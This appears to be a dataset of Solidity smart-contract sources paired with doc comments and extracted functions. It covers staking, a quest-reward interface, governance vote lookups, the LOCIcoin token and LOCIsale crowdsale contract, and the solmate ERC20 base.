user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(UNITS);
emit Deposit(msg.sender, _poolId, _amount);
}
// Withdraw LP tokens from TOKENStaking.
function withdraw(uint256 _poolId, uint256 _amount) external {
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
require(_amount > 0, "Amount cannot be 0");
updatePool(_poolId);
_harvest(_poolId);
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(address(msg.sender), _amount);
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(UNITS);
emit Withdraw(msg.sender, _poolId, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _poolId) external {
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
uint256 amountToSend = user.amount;
user.amount = 0;
user.rewardDebt = 0;
user.rewardDebtAtBlock = 0;
pool.token.safeTransfer(address(msg.sender), amountToSend);
emit EmergencyWithdraw(msg.sender, _poolId, amountToSend);
}
/********************** EXTERNAL ********************************/
// Return the number of added pools
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// View function to see pending TOKENs on frontend.
function pendingReward(uint256 _poolId, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][_user];
uint256 accTokenPerShare = pool.accTokenPerShare;
uint256 poolBalance = pool.token.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && poolBalance > 0) {
uint256 rewards =
getPoolReward(
pool.lastRewardBlock,
block.number,
pool.tokenPerBlock
);
accTokenPerShare = accTokenPerShare.add(
rewards.mul(UNITS).div(poolBalance)
);
}
uint256 pending =
user.amount.mul(accTokenPerShare).div(UNITS).sub(user.rewardDebt);
return pending;
}
/********************** INTERNAL ********************************/
function _harvest(uint256 _poolId) internal {
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
if (user.amount == 0) return;
uint256 pending =
user.amount.mul(pool.accTokenPerShare).div(UNITS).sub(
user.rewardDebt
);
if (pending > 0) {
// Retrieve allowance and balance
uint256 allowedToken = token.allowance(tokenRewardsAddress, address(this));
uint256 farmingBalance = token.balanceOf(tokenRewardsAddress);
require(pending < allowedToken, "Reward wallet approve amount is not high enough!");
require(pending < farmingBalance, "Reward wallet balance is not high enough!");
user.rewardDebtAtBlock = block.number;
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(UNITS);
// Pay out the pending rewards
token.safeTransferFrom(tokenRewardsAddress, msg.sender, pending);
emit SendTokenReward(msg.sender, _poolId, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(UNITS);
}
/********************** ADMIN ********************************/
function changeRewardAddress(address _rewardAddress) external onlyOwner {
require(_rewardAddress != address(0),"Address can't be 0");
tokenRewardsAddress = _rewardAddress;
}
}
| View function to see pending TOKENs on frontend. | function pendingReward(uint256 _poolId, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][_user];
uint256 accTokenPerShare = pool.accTokenPerShare;
uint256 poolBalance = pool.token.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && poolBalance > 0) {
uint256 rewards =
getPoolReward(
pool.lastRewardBlock,
block.number,
pool.tokenPerBlock
);
accTokenPerShare = accTokenPerShare.add(
rewards.mul(UNITS).div(poolBalance)
);
}
uint256 pending =
user.amount.mul(accTokenPerShare).div(UNITS).sub(user.rewardDebt);
return pending;
}
| 1,154,352 |
pragma solidity 0.5.6;
///@title Quest Control Smart Contract for HiQuest
///@author taek lee <[email protected]>
///@notice Create/Join/Reward/Close/WithDraw
///@dev should enforce manager to approve(-1) of hiblockstoken
interface IHiQuest {
/// @notice emited when Hiqeust is created
/// @param questId id of created Hiquest
/// @param manager address of quest manager
/// @param open quest start time as unix timestamp
/// @param close quest close time as unix timestamp
/// @param deposit HiBlocks ERC20 deposit amount
event HiquestCreated(bytes32 questId, address manager, uint256 open, uint256 close, uint256 deposit);
/// @notice emited when manager of quest changed
/// @param questId id of quest
/// @param manager new manager
event HiquestManagerChanged(bytes32 questId, address manager);
/// @notice emited when someone joined quest
/// @param questId id of quest
/// @param user address of user
/// @param desc description of joining quest
event UserJoined(bytes32 questId, address user, bytes desc);
/// @notice emited when rewarded
/// @param questId id of quest
/// @param to beneficiary of reward
/// @param amount amount of reward
event Rewarded(bytes32 questId, address to, uint256 amount);
/// @notice emited when quest is closed
/// @param questId id of quest
event HiquestClosed(bytes32 questId);
/// @notice emited when manager withdrawed left over deposit
/// @param questId id of quest
/// @param amount leftover amount
event WithDrawn(bytes32 questId, uint256 amount);
/// @notice create `_questId` quest from `_open` to `_close` and deposits `_deposit`amount of HiBlocks ERC20 token
/// @dev should have approved this contract to use `_deposit` amount of HiBlocks token
/// @param _questId quest id to create
/// @param _open time when quest will start (unix timestamp)
/// @param _close time whent quest will end (unix timestamp)
/// @param _deposit amount to deposit for quest
/// @return success : return true if succeeded
function create(bytes32 _questId, uint256 _open, uint256 _close, uint256 _deposit) external returns (bool success);
/// @notice joins `_questId` with given `_desc` message
/// @param _questId quest id to join
/// @param _desc description of joining
/// @return success : return true if succeeded
function join(bytes32 _questId, bytes calldata _desc) external returns (bool success);
/// @notice change manager of `_questId` to `_manager`
/// @dev onlyManager
/// @param _questId quest id to change manager
/// @param _manager address of new manager
/// @return success : return true if succeeded
function changeManager(bytes32 _questId, address _manager) external returns (bool success);
/// @notice rewards `_amount` of HiBlocks token to `_to` for joining `_questId` quest
/// @dev onlyManager
/// @param _questId quest id to give reward
/// @param _to beneficiary of reward
/// @param _amount amount of reward
/// @return success : return true if succeeded
function reward(bytes32 _questId, address _to, uint256 _amount) external returns (bool success);
/// @notice close `_questId` quest
/// @dev onlyManager
/// @param _questId quest id to close
/// @return success : return true if succeeded
function close(bytes32 _questId) external returns (bool success);
/// @notice withdraws leftover HiBlocks token from `_questId` quest and sends to manager
/// @dev onlyManager
/// @param _questId quest id to withdraw from
/// @param _amount amount to withdraw
/// @return success : return true if succeeded
function withdrawDeposit(bytes32 _questId, uint256 _amount) external returns (bool success);
/// @notice view function to get data of quest
/// @param _questId id of quest to query
function questInfo(bytes32 _questId) external view returns(address manager, uint256 open, uint256 end, uint256 deposit, uint256 balance, bool closed);
/// @notice view function to get managing questIds
/// @param _manager address of manager to query
function managingQuests(address _manager) external view returns(bytes32[] memory quests);
/// @notice view function to get joined users
/// @param _questId id of quest to query
function joinedUsers(bytes32 _questId) external view returns(address[] memory users);
}
| Quest Control Smart Contract for HiQuest taek lee <[email protected]> Create/Join/Reward/Close/WithDraw should enforce manager to approve(-1) of hiblockstoken | interface IHiQuest {
event HiquestCreated(bytes32 questId, address manager, uint256 open, uint256 close, uint256 deposit);
event HiquestManagerChanged(bytes32 questId, address manager);
event UserJoined(bytes32 questId, address user, bytes desc);
event Rewarded(bytes32 questId, address to, uint256 amount);
event HiquestClosed(bytes32 questId);
event WithDrawn(bytes32 questId, uint256 amount);
function create(bytes32 _questId, uint256 _open, uint256 _close, uint256 _deposit) external returns (bool success);
function join(bytes32 _questId, bytes calldata _desc) external returns (bool success);
function changeManager(bytes32 _questId, address _manager) external returns (bool success);
function reward(bytes32 _questId, address _to, uint256 _amount) external returns (bool success);
function close(bytes32 _questId) external returns (bool success);
function withdrawDeposit(bytes32 _questId, uint256 _amount) external returns (bool success);
function questInfo(bytes32 _questId) external view returns(address manager, uint256 open, uint256 end, uint256 deposit, uint256 balance, bool closed);
function managingQuests(address _manager) external view returns(bytes32[] memory quests);
function joinedUsers(bytes32 _questId) external view returns(address[] memory users);
}
| 12,799,545 |
./full_match/44787/0x443Bd340667256fBd193D9614C330d34BCe75591/sources/contracts/Vote.sol | Returns save timestamp of proposal. proposalId The proposal UUID. return The timestamp of proposal./ | function getProposalTimestamp(uint256 proposalId) public view returns (uint256) {
(, , uint256 timestamp, , ) = getGovernance().getProposal(proposalId);
return timestamp;
}
| 13,248,191 |
contract A {
uint[] public nums;
function getNumLength() returns(uint) {
return nums.length;
}
}
contract B {
A a;
function test() constant returns (uint) {
// length is not accessible on public array from other contract
//return a.nums.length();
return a.getNumLength();
}
} | length is not accessible on public array from other contractreturn a.nums.length(); | function test() constant returns (uint) {
return a.getNumLength();
}
| 1,753,982 |
//Address: 0x5401bb4729bd7f025b97399c3c92854ec299f81a
//Contract name: LOCIsale
//Balance: 0 Ether
//Verification Date: 12/17/2017
//Transacion Count: 4695
// CODE STARTS HERE
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Contactable token
* @dev Basic version of a contactable contract, allowing the owner to provide a string with their
* contact information.
*/
contract Contactable is Ownable{
string public contactInformation;
/**
* @dev Allows the owner to set a string with their contact information.
* @param info The contact information to attach to the contract.
*/
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IRefundHandler {
function handleRefundRequest(address _contributor) external;
}
contract LOCIcoin is StandardToken, Ownable, Contactable {
string public name = "";
string public symbol = "";
uint256 public constant decimals = 18;
mapping (address => bool) internal allowedOverrideAddresses;
bool public tokenActive = false;
modifier onlyIfTokenActiveOrOverride() {
// owner or any addresses listed in the overrides
// can perform token transfers while inactive
require(tokenActive || msg.sender == owner || allowedOverrideAddresses[msg.sender]);
_;
}
modifier onlyIfTokenInactive() {
require(!tokenActive);
_;
}
modifier onlyIfValidAddress(address _to) {
// prevent 'invalid' addresses for transfer destinations
require(_to != 0x0);
// don't allow transferring to this contract's address
require(_to != address(this));
_;
}
event TokenActivated();
function LOCIcoin(uint256 _totalSupply, string _contactInformation ) public {
totalSupply = _totalSupply;
contactInformation = _contactInformation;
// msg.sender == owner of the contract
balances[msg.sender] = _totalSupply;
}
/// @dev Same ERC20 behavior, but reverts if not yet active.
/// @param _spender address The address which will spend the funds.
/// @param _value uint256 The amount of tokens to be spent.
function approve(address _spender, uint256 _value) public onlyIfTokenActiveOrOverride onlyIfValidAddress(_spender) returns (bool) {
return super.approve(_spender, _value);
}
/// @dev Same ERC20 behavior, but reverts if not yet active.
/// @param _to address The address to transfer to.
/// @param _value uint256 The amount to be transferred.
function transfer(address _to, uint256 _value) public onlyIfTokenActiveOrOverride onlyIfValidAddress(_to) returns (bool) {
return super.transfer(_to, _value);
}
function ownerSetOverride(address _address, bool enable) external onlyOwner {
allowedOverrideAddresses[_address] = enable;
}
function ownerSetVisible(string _name, string _symbol) external onlyOwner onlyIfTokenInactive {
// By holding back on setting these, it prevents the token
// from being a duplicate in ERC token searches if the need to
// redeploy arises prior to the crowdsale starts.
// Mainly useful during testnet deployment/testing.
name = _name;
symbol = _symbol;
}
function ownerActivateToken() external onlyOwner onlyIfTokenInactive {
require(bytes(symbol).length > 0);
tokenActive = true;
TokenActivated();
}
function claimRefund(IRefundHandler _refundHandler) external {
uint256 _balance = balances[msg.sender];
// Positive token balance required to perform a refund
require(_balance > 0);
// this mitigates re-entrancy concerns
balances[msg.sender] = 0;
// Attempt to transfer wei back to msg.sender from the
// crowdsale contract
// Note: re-entrancy concerns are also addressed within
// `handleRefundRequest`
// this will throw an exception if any
// problems or if refunding isn't enabled
_refundHandler.handleRefundRequest(msg.sender);
// If we've gotten here, then the wei transfer above
// worked (didn't throw an exception) and it confirmed
// that `msg.sender` had an ether balance on the contract.
// Now do token transfer from `msg.sender` back to
// `owner` completes the refund.
balances[owner] = balances[owner].add(_balance);
Transfer(msg.sender, owner, _balance);
}
}
contract LOCIsale is Ownable, Pausable, IRefundHandler {
using SafeMath for uint256;
// this sale contract is creating the LOCIcoin
// contract, and so will own it
LOCIcoin internal token;
// UNIX timestamp (UTC) based start and end, inclusive
uint256 public start; /* UTC of timestamp that the sale will start based on the value passed in at the time of construction */
uint256 public end; /* UTC of computed time that the sale will end based on the hours passed in at time of construction */
bool public isPresale; /* For LOCI this will be false. We raised pre-ICO offline. */
bool public isRefunding = false; /* No plans to refund. */
uint256 public minFundingGoalWei; /* we can set this to zero, but we might want to raise at least 20000 Ether */
uint256 public minContributionWei; /* individual contribution min. we require at least a 0.1 Ether investment, for example. */
uint256 public maxContributionWei; /* individual contribution max. probably don't want someone to buy more than 60000 Ether */
uint256 public weiRaised; /* total of all weiContributions */
uint256 public weiRaisedAfterDiscounts; /* wei raised after the discount periods end */
uint256 internal weiForRefund; /* only applicable if we enable refunding, if we don't meet our expected raise */
uint256 public peggedETHUSD; /* In whole dollars. $300 means use 300 */
uint256 public hardCap; /* In wei. Example: 64,000 cap = 64,000,000,000,000,000,000,000 */
uint256 public reservedTokens; /* In wei. Example: 54 million tokens, use 54000000 with 18 more zeros. then it would be 54000000 * Math.pow(10,18) */
uint256 public baseRateInCents; /* $2.50 means use 250 */
uint256 internal startingTokensAmount; // this will be set once, internally
mapping (address => uint256) public contributions;
struct DiscountTranche {
// this will be a timestamp that is calculated based on
// the # of hours a tranche rate is to be active for
uint256 end;
// should be a % number between 0 and 100
uint8 discount;
// should be 1, 2, 3, 4, etc...
uint8 round;
// amount raised during tranche in wei
uint256 roundWeiRaised;
// amount sold during tranche in wei
uint256 roundTokensSold;
}
DiscountTranche[] internal discountTranches;
uint8 internal currentDiscountTrancheIndex = 0;
uint8 internal discountTrancheLength = 0;
event ContributionReceived(address indexed buyer, bool presale, uint8 rate, uint256 value, uint256 tokens);
event RefundsEnabled();
event Refunded(address indexed buyer, uint256 weiAmount);
event ToppedUp();
event PegETHUSD(uint256 pegETHUSD);
function LOCIsale(
address _token, /* LOCIcoin contract address */
uint256 _peggedETHUSD, /* 300 = 300 USD */
uint256 _hardCapETHinWei, /* In wei. Example: 64,000 cap = 64,000,000,000,000,000,000,000 */
uint256 _reservedTokens, /* In wei. Example: 54 million tokens, use 54000000 with 18 more zeros. then it would be 54000000 * Math.pow(10,18) */
bool _isPresale, /* For LOCI this will be false. Presale offline, and accounted for in reservedTokens */
uint256 _minFundingGoalWei, /* If we are looking to raise a minimum amount of wei, put it here */
uint256 _minContributionWei, /* For LOCI this will be 0.1 ETH */
uint256 _maxContributionWei, /* Advisable to not let a single contributor go over the max alloted, say 63333 * Math.pow(10,18) wei. */
uint256 _start, /* For LOCI this will be Dec 6th 0:00 UTC in seconds */
uint256 _durationHours, /* Total length of the sale, in hours */
uint256 _baseRateInCents, /* Base rate in cents. $2.50 would be 250 */
uint256[] _hourBasedDiscounts /* Single dimensional array of pairs [hours, rateInCents, hours, rateInCents, hours, rateInCents, ... ] */
) public {
require(_token != 0x0);
// either have NO max contribution or the max must be more than the min
require(_maxContributionWei == 0 || _maxContributionWei > _minContributionWei);
// sale must have a duration!
require(_durationHours > 0);
token = LOCIcoin(_token);
peggedETHUSD = _peggedETHUSD;
hardCap = _hardCapETHinWei;
reservedTokens = _reservedTokens;
isPresale = _isPresale;
start = _start;
end = start.add(_durationHours.mul(1 hours));
minFundingGoalWei = _minFundingGoalWei;
minContributionWei = _minContributionWei;
maxContributionWei = _maxContributionWei;
baseRateInCents = _baseRateInCents;
// this will throw if the # of hours and
// discount % don't come in pairs
uint256 _end = start;
uint _tranche_round = 0;
for (uint i = 0; i < _hourBasedDiscounts.length; i += 2) {
// calculate the timestamp where the discount rate will end
_end = _end.add(_hourBasedDiscounts[i].mul(1 hours));
// the calculated tranche end cannot go past the crowdsale end
require(_end <= end);
_tranche_round += 1;
discountTranches.push(DiscountTranche({ end:_end,
discount:uint8(_hourBasedDiscounts[i + 1]),
round:uint8(_tranche_round),
roundWeiRaised:0,
roundTokensSold:0}));
discountTrancheLength = uint8(i+1);
}
}
function determineDiscountTranche() internal returns (uint256, uint8, uint8) {
if (currentDiscountTrancheIndex >= discountTranches.length) {
return(0, 0, 0);
}
DiscountTranche storage _dt = discountTranches[currentDiscountTrancheIndex];
if (_dt.end < now) {
// find the next applicable tranche
while (++currentDiscountTrancheIndex < discountTranches.length) {
_dt = discountTranches[currentDiscountTrancheIndex];
if (_dt.end > now) {
break;
}
}
}
// Example: there are 4 rounds, and we want to divide rounds 2-4 equally based on (starting-round1)/(discountTranches.length-1), move to next tranche
// But don't move past the last round. Note, the last round should not be capped. That's why we check for round < # tranches
if (_dt.round > 1 && _dt.roundTokensSold > 0 && _dt.round < discountTranches.length) {
uint256 _trancheCountExceptForOne = discountTranches.length-1;
uint256 _tokensSoldFirstRound = discountTranches[0].roundTokensSold;
uint256 _allowedTokensThisRound = (startingTokensAmount.sub(_tokensSoldFirstRound)).div(_trancheCountExceptForOne);
if (_dt.roundTokensSold > _allowedTokensThisRound) {
currentDiscountTrancheIndex = currentDiscountTrancheIndex + 1;
_dt = discountTranches[currentDiscountTrancheIndex];
}
}
uint256 _end = 0;
uint8 _rate = 0;
uint8 _round = 0;
// if the index is still valid, then we must have
// a valid tranche, so return discount rate
if (currentDiscountTrancheIndex < discountTranches.length) {
_end = _dt.end;
_rate = _dt.discount;
_round = _dt.round;
} else {
_end = end;
_rate = 0;
_round = discountTrancheLength + 1;
}
return (_end, _rate, _round);
}
function() public payable whenNotPaused {
require(!isRefunding);
require(msg.sender != 0x0);
require(msg.value >= minContributionWei);
require(start <= now && end >= now);
// prevent anything more than maxContributionWei per contributor address
uint256 _weiContributionAllowed = maxContributionWei > 0 ? maxContributionWei.sub(contributions[msg.sender]) : msg.value;
if (maxContributionWei > 0) {
require(_weiContributionAllowed > 0);
}
// are limited by the number of tokens remaining
uint256 _tokensRemaining = token.balanceOf(address(this)).sub( reservedTokens );
require(_tokensRemaining > 0);
if (startingTokensAmount == 0) {
startingTokensAmount = _tokensRemaining; // set this once.
}
// limit contribution's value based on max/previous contributions
uint256 _weiContribution = msg.value;
if (_weiContribution > _weiContributionAllowed) {
_weiContribution = _weiContributionAllowed;
}
// limit contribution's value based on hard cap of hardCap
if (hardCap > 0 && weiRaised.add(_weiContribution) > hardCap) {
_weiContribution = hardCap.sub( weiRaised );
}
// calculate token amount to be created
uint256 _tokens = _weiContribution.mul(peggedETHUSD).mul(100).div(baseRateInCents);
var (, _rate, _round) = determineDiscountTranche();
if (_rate > 0) {
_tokens = _weiContribution.mul(peggedETHUSD).mul(100).div(_rate);
}
if (_tokens > _tokensRemaining) {
// there aren't enough tokens to fill the contribution amount, so recalculate the contribution amount
_tokens = _tokensRemaining;
if (_rate > 0) {
_weiContribution = _tokens.mul(_rate).div(100).div(peggedETHUSD);
} else {
_weiContribution = _tokens.mul(baseRateInCents).div(100).div(peggedETHUSD);
}
}
// add the contributed wei to any existing value for the sender
contributions[msg.sender] = contributions[msg.sender].add(_weiContribution);
ContributionReceived(msg.sender, isPresale, _rate, _weiContribution, _tokens);
require(token.transfer(msg.sender, _tokens));
weiRaised = weiRaised.add(_weiContribution); //total of all weiContributions
if (discountTrancheLength > 0 && _round > 0 && _round <= discountTrancheLength) {
discountTranches[_round-1].roundWeiRaised = discountTranches[_round-1].roundWeiRaised.add(_weiContribution);
discountTranches[_round-1].roundTokensSold = discountTranches[_round-1].roundTokensSold.add(_tokens);
}
if (discountTrancheLength > 0 && _round > discountTrancheLength) {
weiRaisedAfterDiscounts = weiRaisedAfterDiscounts.add(_weiContribution);
}
uint256 _weiRefund = msg.value.sub(_weiContribution);
if (_weiRefund > 0) {
msg.sender.transfer(_weiRefund);
}
}
// in case we need to return funds to this contract
function ownerTopUp() external payable {}
function setReservedTokens( uint256 _reservedTokens ) onlyOwner public {
reservedTokens = _reservedTokens;
}
function pegETHUSD(uint256 _peggedETHUSD) onlyOwner public {
peggedETHUSD = _peggedETHUSD;
PegETHUSD(peggedETHUSD);
}
function setHardCap( uint256 _hardCap ) onlyOwner public {
hardCap = _hardCap;
}
function peggedETHUSD() constant onlyOwner public returns(uint256) {
return peggedETHUSD;
}
function hardCapETHInWeiValue() constant onlyOwner public returns(uint256) {
return hardCap;
}
function weiRaisedDuringRound(uint8 round) constant onlyOwner public returns(uint256) {
require( round > 0 && round <= discountTrancheLength );
return discountTranches[round-1].roundWeiRaised;
}
function tokensRaisedDuringRound(uint8 round) constant onlyOwner public returns(uint256) {
require( round > 0 && round <= discountTrancheLength );
return discountTranches[round-1].roundTokensSold;
}
function weiRaisedAfterDiscountRounds() constant onlyOwner public returns(uint256) {
return weiRaisedAfterDiscounts;
}
function totalWeiRaised() constant onlyOwner public returns(uint256) {
return weiRaised;
}
function setStartingTokensAmount(uint256 _startingTokensAmount) onlyOwner public {
startingTokensAmount = _startingTokensAmount;
}
function ownerEnableRefunds() external onlyOwner {
// a little protection against human error;
// sale must be ended OR it must be paused
require(paused || now > end);
require(!isRefunding);
weiForRefund = this.balance;
isRefunding = true;
RefundsEnabled();
}
function ownerTransferWei(address _beneficiary, uint256 _value) external onlyOwner {
require(_beneficiary != 0x0);
require(_beneficiary != address(token));
// we cannot withdraw if we didn't reach the minimum funding goal
require(minFundingGoalWei == 0 || weiRaised >= minFundingGoalWei);
// if zero requested, send the entire amount, otherwise the amount requested
uint256 _amount = _value > 0 ? _value : this.balance;
_beneficiary.transfer(_amount);
}
function ownerRecoverTokens(address _beneficiary) external onlyOwner {
require(_beneficiary != 0x0);
require(_beneficiary != address(token));
require(paused || now > end);
uint256 _tokensRemaining = token.balanceOf(address(this));
if (_tokensRemaining > 0) {
token.transfer(_beneficiary, _tokensRemaining);
}
}
function handleRefundRequest(address _contributor) external {
// Note that this method can only ever called by
// the token contract's `claimRefund()` method;
// everything that happens in here will only
// succeed if `claimRefund()` works as well.
require(isRefunding);
// this can only be called by the token contract;
// it is the entry point for the refund flow
require(msg.sender == address(token));
uint256 _wei = contributions[_contributor];
// if this is zero, then `_contributor` didn't
// contribute or they've already been refunded
require(_wei > 0);
// prorata the amount if necessary
if (weiRaised > weiForRefund) {
uint256 _n = weiForRefund.mul(_wei).div(weiRaised);
require(_n < _wei);
_wei = _n;
}
// zero out their contribution, so they cannot
// claim another refund; it's important (for
// avoiding re-entrancy attacks) that this zeroing
// happens before the transfer below
contributions[_contributor] = 0;
// give them their ether back; throws on failure
_contributor.transfer(_wei);
Refunded(_contributor, _wei);
}
}
| we cannot withdraw if we didn't reach the minimum funding goal if zero requested, send the entire amount, otherwise the amount requested | function ownerTransferWei(address _beneficiary, uint256 _value) external onlyOwner {
require(_beneficiary != 0x0);
require(_beneficiary != address(token));
require(minFundingGoalWei == 0 || weiRaised >= minFundingGoalWei);
uint256 _amount = _value > 0 ? _value : this.balance;
_beneficiary.transfer(_amount);
}
| 5,363,016 |
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File @rari-capital/solmate/src/tokens/[email protected]
// SPDX-License-Identifier: GNU AGPLv3
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
